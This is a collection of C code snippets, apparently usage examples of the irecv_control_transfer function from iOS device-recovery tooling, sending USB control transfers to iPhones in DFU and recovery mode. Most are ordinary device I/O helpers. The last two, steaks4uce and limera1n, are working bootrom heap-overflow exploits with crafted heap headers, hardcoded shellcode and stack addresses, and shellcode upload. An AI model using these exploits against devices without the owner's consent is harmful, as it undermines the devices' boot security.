Example #1
0
irecv_error_t irecv_reset_counters(irecv_client_t client) {
	if (check_context(client) != IRECV_E_SUCCESS) return IRECV_E_NO_DEVICE;
	if (client->mode == kDfuMode) {
		irecv_control_transfer(client, 0x21, 4, 0, 0, 0, 0, 1000);
	}
	return IRECV_E_SUCCESS;
}
Example #2
0
irecv_error_t irecv_getenv(irecv_client_t client, const char* variable, char** value) {
	int ret = 0;
	char command[256];
	if (check_context(client) != IRECV_E_SUCCESS) return IRECV_E_NO_DEVICE;
	*value = NULL;

	if(variable == NULL) {
		return IRECV_E_UNKNOWN_ERROR;
	}

	memset(command, '\0', sizeof(command));
	snprintf(command, sizeof(command)-1, "getenv %s", variable);
	irecv_error_t error = irecv_send_command_raw(client, command);
	if(error == IRECV_E_PIPE) {
		return IRECV_E_SUCCESS;
	}
	if(error != IRECV_E_SUCCESS) {
		return error;
	}

	char* response = (char*) malloc(256);
	if (response == NULL) {
		return IRECV_E_OUT_OF_MEMORY;
	}

	memset(response, '\0', 256);
	ret = irecv_control_transfer(client, 0xC0, 0, 0, 0, (unsigned char*) response, 255, 1000);

	*value = response;
	return IRECV_E_SUCCESS;
}
Example #3
0
int irecv_get_string_descriptor_ascii(irecv_client_t client, uint8_t desc_index, unsigned char * buffer, int size) {
#ifndef WIN32
	return libusb_get_string_descriptor_ascii(client->handle, desc_index, buffer, size);
#else
	irecv_error_t ret;
	unsigned short langid = 0;
	unsigned char data[255];
	int di, si;
	memset(data, 0, sizeof(data));
	memset(buffer, 0, size);

	ret = irecv_control_transfer(client, 0x80, 0x06, (0x03 << 8) | desc_index, langid, data, sizeof(data), 1000);
	
	if (ret < 0) return ret;
	if (data[1] != 0x03) return IRECV_E_UNKNOWN_ERROR;
	if (data[0] > ret) return IRECV_E_UNKNOWN_ERROR; 

	for (di = 0, si = 2; si < data[0]; si += 2) {
		if (di >= (size - 1)) break;
		if (data[si + 1]) {
			/* high byte */
			buffer[di++] = '?';
        } else {
            buffer[di++] = data[si];
		}
	}
	buffer[di] = 0;
	
	return di;
#endif
}
Example #4
0
irecv_error_t irecv_send_exploit(irecv_client_t client)
{
	if (check_context(client) != IRECV_E_SUCCESS)
		return IRECV_E_NO_DEVICE;
	irecv_control_transfer(client, 0x21, 2, 0, 0, NULL, 0, 1000);
	return IRECV_E_SUCCESS;
}
Example #5
0
static irecv_error_t irecv_send_command_raw(irecv_client_t client, char* command) {
	unsigned int length = strlen(command);
	if (length >= 0x100) {
		length = 0xFF;
	}

	if (length > 0) {
		int ret = irecv_control_transfer(client, 0x40, 0, 0, 0, (unsigned char*) command, length + 1, 1000);
	}

	return IRECV_E_SUCCESS;
}
Example #6
0
irecv_error_t irecv_finish_transfer(irecv_client_t client) {
	int i = 0;
	unsigned int status = 0;

	if (check_context(client) != IRECV_E_SUCCESS) return IRECV_E_NO_DEVICE;

	irecv_control_transfer(client, 0x21, 1, 0, 0, 0, 0, 1000);

	for(i = 0; i < 3; i++){
		irecv_get_status(client, &status);
	}
	irecv_reset(client);
	return IRECV_E_SUCCESS;
}
Example #7
0
irecv_error_t irecv_recv_buffer(irecv_client_t client, char *buffer,
				unsigned long length)
{
	int recovery_mode = (client->mode != kDfuMode);
	int packet_size, last, packets;
	int i = 0;
	int bytes = 0;
	unsigned long count = 0;

	if (check_context(client) != IRECV_E_SUCCESS)
		return IRECV_E_NO_DEVICE;

	packet_size = recovery_mode ? 0x2000 : 0x800;
	last = length % packet_size;
	packets = length / packet_size;
	if (last != 0) {
		packets++;
	} else {
		last = packet_size;
	}

	for (i = 0; i < packets; i++) {
		unsigned short size = (i + 1) < packets ? packet_size : last;
		bytes =
		    irecv_control_transfer(client, 0xA1, 2, 0, 0,
					   (unsigned char *)&buffer[i *
								    packet_size],
					   size, 1000);

		if (bytes != size) {
			return IRECV_E_USB_UPLOAD;
		}

		count += size;
		if (client->progress_callback != NULL) {
			irecv_event_t event;
			event.progress =
			    ((double)count / (double)length) * 100.0;
			event.type = IRECV_PROGRESS;
			event.data = "Downloading";
			event.size = count;
			client->progress_callback(client, &event);
		} else {
			DPRINT("Sent: %d bytes - %lu of %lu\n", bytes, count,
			       length);
		}
	}

	return IRECV_E_SUCCESS;
}
Example #8
0
irecv_error_t irecv_getret(irecv_client_t client, unsigned int* value) {
	int ret = 0;
	if (check_context(client) != IRECV_E_SUCCESS) return IRECV_E_NO_DEVICE;
	*value = 0;

	char* response = (char*) malloc(256);
	if (response == NULL) {
		return IRECV_E_OUT_OF_MEMORY;
	}

	memset(response, '\0', 256);
	ret = irecv_control_transfer(client, 0xC0, 0, 0, 0, (unsigned char*) response, 255, 1000);

	*value = (unsigned int) *response;
	return IRECV_E_SUCCESS;
}
Example #9
0
irecv_error_t irecv_get_status(irecv_client_t client, unsigned int* status) {
	if (check_context(client) != IRECV_E_SUCCESS) {
		*status = 0;
		return IRECV_E_NO_DEVICE;
	}

	unsigned char buffer[6];
	memset(buffer, '\0', 6);
	if (irecv_control_transfer(client, 0xA1, 3, 0, 0, buffer, 6, 1000) != 6) {
		*status = 0;
		return IRECV_E_USB_STATUS;
	}

	*status = (unsigned int) buffer[4];
	return IRECV_E_SUCCESS;
}
Example #10
0
irecv_error_t irecv_send_buffer(irecv_client_t client, unsigned char* buffer, unsigned long length, int dfuNotifyFinished) {
	irecv_error_t error = 0;
	int recovery_mode = (client->mode != kDfuMode);
	if (check_context(client) != IRECV_E_SUCCESS) return IRECV_E_NO_DEVICE;

	int packet_size = 0x800;
	int last = length % packet_size;
	int packets = length / packet_size;
	if (last != 0) {
		packets++;
	} else {
		last = packet_size;
	}

	/* initiate transfer */
	if (recovery_mode) {
		error = irecv_control_transfer(client, 0x41, 0, 0, 0, NULL, 0, 1000);
	} else {
		error = irecv_control_transfer(client, 0x21, 4, 0, 0, NULL, 0, 1000);
	}
	if (error != IRECV_E_SUCCESS) {
		return error;
	}

	int i = 0;
	double progress = 0;
	unsigned long count = 0;
	unsigned int status = 0;
	int bytes = 0;
	for (i = 0; i < packets; i++) {
		int size = (i + 1) < packets ? packet_size : last;

		/* Use bulk transfer for recovery mode and control transfer for DFU and WTF mode */
		if (recovery_mode) {
			error = irecv_bulk_transfer(client, 0x04, &buffer[i * packet_size], size, &bytes, 1000);
		} else {
			bytes = irecv_control_transfer(client, 0x21, 1, 0, 0, &buffer[i * packet_size], size, 1000);
		}

		if (bytes != size) {
			return IRECV_E_USB_UPLOAD;
		}

		if (!recovery_mode) {
			error = irecv_get_status(client, &status);
		}

		if (error != IRECV_E_SUCCESS) {
			return error;
		}

		if (!recovery_mode && status != 5) {
			return IRECV_E_USB_UPLOAD;
		}

		count += size;
		if(client->progress_callback != NULL) {
			irecv_event_t event;
			event.progress = ((double) count/ (double) length) * 100.0;
			event.type = IRECV_PROGRESS;
			event.data = "Uploading";
			event.size = count;
			client->progress_callback(client, &event);
		} else {
			debug("Sent: %d bytes - %lu of %lu\n", bytes, count, length);
		}
	}

	if (dfuNotifyFinished && !recovery_mode) {
		irecv_control_transfer(client, 0x21, 1, 0, 0, (unsigned char*) buffer, 0, 1000);

		for (i = 0; i < 3; i++) {
			error = irecv_get_status(client, &status);
			if (error != IRECV_E_SUCCESS) {
				return error;
			}
		}
		irecv_reset(client);
	}

	return IRECV_E_SUCCESS;
}
Example #11
0
int steaks4uce_exploit() {
	irecv_error_t error = IRECV_E_SUCCESS;
	int i, ret;
	unsigned char data[0x800];
	unsigned char payload[] = {
				/* free'd buffer dlmalloc header: */
				0x84, 0x00, 0x00, 0x00, // 0x00: previous_chunk
				0x05, 0x00, 0x00, 0x00, // 0x04: next_chunk
				/* free'd buffer contents: (malloc'd size=0x1C, real size=0x20, see sub_9C8) */
				0x80, 0x00, 0x00, 0x00, // 0x08: (0x00) direction
				0x80, 0x62, 0x02, 0x22, // 0x0c: (0x04) usb_response_buffer
				0xff, 0xff, 0xff, 0xff, // 0x10: (0x08)
				0x00, 0x00, 0x00, 0x00, // 0x14: (0x0c) data size (filled by the code just after)
				0x00, 0x01, 0x00, 0x00, // 0x18: (0x10)
				0x00, 0x00, 0x00, 0x00, // 0x1c: (0x14)
				0x00, 0x00, 0x00, 0x00, // 0x20: (0x18)
				0x00, 0x00, 0x00, 0x00, // 0x24: (0x1c)
				/* attack dlmalloc header: */
				0x15, 0x00, 0x00, 0x00, // 0x28: previous_chunk
				0x02, 0x00, 0x00, 0x00, // 0x2c: next_chunk : 0x2 choosed randomly :-)
				0x01, 0x38, 0x02, 0x22, // 0x30: FD : shellcode_thumb_start()
				//0x90, 0xd7, 0x02, 0x22, // 0x34: BK : free() LR in stack
				0xfc, 0xd7, 0x02, 0x22, // 0x34: BK : exception_irq() LR in stack
				};

	//info("Executing steaks4uce exploit ...\n");
	//debug("Reseting usb counters.\n");
	ret = irecv_control_transfer(client, 0x21, 4, 0, 0, 0, 0, 1000);
	if (ret < 0) {
		error("Failed to reset usb counters.\n");
		return -1;
	}

	//debug("Padding to 0x23800...\n");
	memset(data, 0, 0x800);
	for(i = 0; i < 0x23800 ; i+=0x800)  {
		ret = irecv_control_transfer(client, 0x21, 1, 0, 0, data, 0x800, 1000);
		if (ret < 0) {
			error("Failed to push data to the device.\n");
			return -1;
		}
	}
	//debug("Uploading shellcode.\n");
	memset(data, 0, 0x800);
	memcpy(data, steaks4uce_payload, sizeof(steaks4uce_payload));
	ret = irecv_control_transfer(client, 0x21, 1, 0, 0, data, 0x800, 1000);
	if (ret < 0) {
		error("Failed to upload shellcode.\n");
		return -1;
	}

	//debug("Reseting usb counters.\n");
	ret = irecv_control_transfer(client, 0x21, 4, 0, 0, 0, 0, 1000);
	if (ret < 0) {
		error("Failed to reset usb counters.\n");
		return -1;
	}

	int send_size = 0x100 + sizeof(payload);
	*((unsigned int*) &payload[0x14]) = send_size;
	memset(data, 0, 0x800);
	memcpy(&data[0x100], payload, sizeof(payload));

	ret = irecv_control_transfer(client, 0x21, 1, 0, 0, data, send_size , 1000);
	if (ret < 0) {
		error("Failed to send steaks4uce to the device.\n");
		return -1;
	}
	ret = irecv_control_transfer(client, 0xA1, 1, 0, 0, data, send_size , 1000);
	if (ret < 0) {
		error("Failed to execute steaks4uce.\n");
		return -1;
	}
	info("Successfully exploited with steaks4uce!\n");

//	debug("Reconnecting to device\n");
	client = irecv_reconnect(client, 2);
	if (client == NULL) {
		debug("%s\n", irecv_strerror(error));
		error("Unable to reconnect to the device\n");
		return -1;
	}

	return 0;
}
Example #12
0
int limera1n_exploit(struct idevicerestore_device_t *device, irecv_client_t client)
{
    irecv_error_t error = IRECV_E_SUCCESS;
    unsigned int i = 0;
    unsigned char buf[0x800];
    unsigned char shellcode[0x800];
    unsigned int max_size = 0x24000;
    //unsigned int load_address = 0x84000000;
    unsigned int stack_address = 0x84033F98;
    unsigned int shellcode_address = 0x84023001;
    unsigned int shellcode_length = 0;


    if (device->chip_id == 8930) {
        max_size = 0x2C000;
        stack_address = 0x8403BF9C;
        shellcode_address = 0x8402B001;
    }
    if (device->chip_id == 8920) {
        max_size = 0x24000;
        stack_address = 0x84033FA4;
        shellcode_address = 0x84023001;
    }

    memset(shellcode, 0x0, 0x800);
    shellcode_length = sizeof(limera1n_payload);
    memcpy(shellcode, limera1n_payload, sizeof(limera1n_payload));

    debug("Resetting device counters\n");
    error = irecv_reset_counters(client);
    if (error != IRECV_E_SUCCESS) {
        error("%s\n", irecv_strerror(error));
        return -1;
    }

    memset(buf, 0xCC, 0x800);
    for(i = 0; i < 0x800; i += 0x40) {
        unsigned int* heap = (unsigned int*)(buf+i);
        heap[0] = 0x405;
        heap[1] = 0x101;
        heap[2] = shellcode_address;
        heap[3] = stack_address;
    }

    debug("Sending chunk headers\n");
    irecv_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 1000);

    memset(buf, 0xCC, 0x800);
    for(i = 0; i < (max_size - (0x800 * 3)); i += 0x800) {
        irecv_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 1000);
    }

    debug("Sending exploit payload\n");
    irecv_control_transfer(client, 0x21, 1, 0, 0, shellcode, 0x800, 1000);

    debug("Sending fake data\n");
    memset(buf, 0xBB, 0x800);
    irecv_control_transfer(client, 0xA1, 1, 0, 0, buf, 0x800, 1000);
    irecv_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 10);

    //debug("Executing exploit\n");
    irecv_control_transfer(client, 0x21, 2, 0, 0, buf, 0, 1000);

    irecv_reset(client);
    irecv_finish_transfer(client);
    debug("Exploit sent\n");

    debug("Reconnecting to device\n");
    client = irecv_reconnect(client, 7);
    if (client == NULL) {
        debug("%s\n", irecv_strerror(error));
        error("Unable to reconnect\n");
        return -1;
    }

    return 0;
}